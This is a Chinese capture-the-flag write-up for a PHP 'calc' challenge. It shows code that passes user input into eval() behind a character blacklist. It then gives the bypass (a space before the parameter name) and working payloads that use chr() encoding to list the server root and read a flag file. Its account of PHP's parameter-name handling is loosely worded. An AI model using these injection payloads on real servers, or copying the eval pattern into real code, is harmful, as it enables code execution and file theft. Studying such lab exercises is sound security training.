查看源代码,我们发现有一个calc.php文件
打开是这样的php代码:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
过滤了"" '' \
有一个eval函数,能够执行PHP代码
尝试用num传参,发现只能传数字,不能传字母
我们可以利用PHP解析字符串特性来绕过waf
在num前加一个空格,waf检测到的就是" num"而不是"num",但在PHP中会自动转换为$num的变量,绕过waf
我们要读取根目录下的文件
? num=print_r(scandir(/));//scandir()列出目录中的文件和目录
用chr(47)来代替/,chr()从不同的 ASCII 值返回字符。
? num=print_r(scandir(chr(47)));
查看flag文件
file_get_contents() 函数把整个文件读入一个字符串中,由于要字符串形式,但""已经被过滤,因此我们继续用chr()来代替/f1agg
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
flag{51514430-17a9-4baa-8b93-df3465401779}